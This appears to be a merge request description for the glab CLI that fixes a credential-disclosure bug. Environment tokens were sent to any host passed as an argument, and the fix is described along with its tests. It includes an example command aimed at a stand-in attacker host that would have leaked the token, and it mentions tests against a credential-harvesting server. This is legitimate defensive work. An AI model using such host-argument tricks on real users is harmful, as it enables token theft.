fix(config): send environment credentials only to trusted hosts

Description

Fixes a credential-disclosure vulnerability: glab sent the user's environment-provided access token (GITLAB_TOKEN/GITLAB_ACCESS_TOKEN/OAUTH_TOKEN, and CI_JOB_TOKEN under CI auto-login) to any host named in a command argument. An ordinary-looking command such as

glab repo view https://attacker.example.com/acme/awesome-tool

exfiltrated the token to a server the user never authenticated to, with no visible sign. The token keys are declared ScopePerHost in internal/config/schema.go, but the environment branch of fileConfig.GetWithSource resolved them globally, before any per-host lookup.

What changed

  • internal/config/config.go: environment-provided credentials (token, job_token, and the is_oauth2 scheme flag, including aliases) now resolve only for trusted hosts — the default host (the global host key, which may come from GITLAB_HOST/GITLAB_URI/GL_HOST, or CI_SERVER_FQDN under CI auto-login, falling back to gitlab.com) or a host present in the configuration's hosts map. This mirrors the fix GitHub shipped for CVE-2024-53858 in gh 2.63.0. A new exported config.IsTrustedHost holds the trust check.
  • internal/cmdutils/factory.go: ApiClient prints a stderr warning when a token environment variable is set but was withheld for the target host, so the situation stays visible and legitimate users get an actionable hint (glab auth login --hostname <host>).
  • Non-credential per-host keys (api_host, client_id, subfolder, ...) intentionally keep resolving globally: they are not secrets, and flows such as glab auth login read them (for example GITLAB_CLIENT_ID) for a host that is not configured yet.
  • internal/config/schema.go + regenerated docs: the token description now states that an environment-provided token is sent only to the default host or a host in the configuration file.

With this change, the command above completes unauthenticated (no credential headers are sent) and prints:

! GITLAB_TOKEN is set, but "attacker.example.com" is neither the default host nor a configured host, so glab did not send the token to it. To authenticate to this host, run glab auth login --hostname attacker.example.com.

Out of scope here: the nil-pointer panic on crafted API responses mentioned in the report — a separate robustness bug.

Closes #8545

How has this been tested?

  • New unit tests in internal/config (Test_GetWithSource_CredentialEnvVarsRequireTrustedHost, TestIsTrustedHost) cover: default-host fallback to gitlab.com, hosts-map membership, default host from config file and from GITLAB_HOST, case-insensitivity, key aliases, is_oauth2 scoping, CI auto-login (CI_JOB_TOKEN resolves for the CI_SERVER_FQDN host only), non-credential keys still resolving globally, and empty-hostname reads.
  • New client-level test TestNewClientFromConfig_EnvTokenScopedToTrustedHosts in internal/api pins that a client for an unconfigured host carries no credential while trusted hosts still receive the environment token.
  • New factory test TestFactory_ApiClientEnvTokenWarning in internal/cmdutils pins the stderr warning behavior.
  • Existing tests that encoded the old behavior (internal/api/client_test.go, internal/api/oauth_provenance_test.go) were updated to make their hosts trusted via GITLAB_HOST/CI server variables.
  • make test, make test-changed, make lint, and the lefthook pre-push suite (build, go-lint, go-test, check-generated, vale) pass. (markdownlint and lychee were excluded from the push hook in this environment: they fail identically on pristine main — lychee cannot execute here, and the markdownlint findings are in files this MR does not touch.)
  • End-to-end against a credential-harvesting fake GitLab host (the reporter's PoC shape: hosts: {}, token only in the environment, host passed as a command argument):
    • pre-fix build: the fake server harvests the token;
    • this build: no credential is sent, the warning above is printed, and the command still returns the (decoy) project data;
    • control: with GITLAB_HOST pointing at the server (trusted host), the token is sent as before.

Screenshots (if appropriate):

N/A

Edited by Duo Developer

Merge request reports

Loading
Loading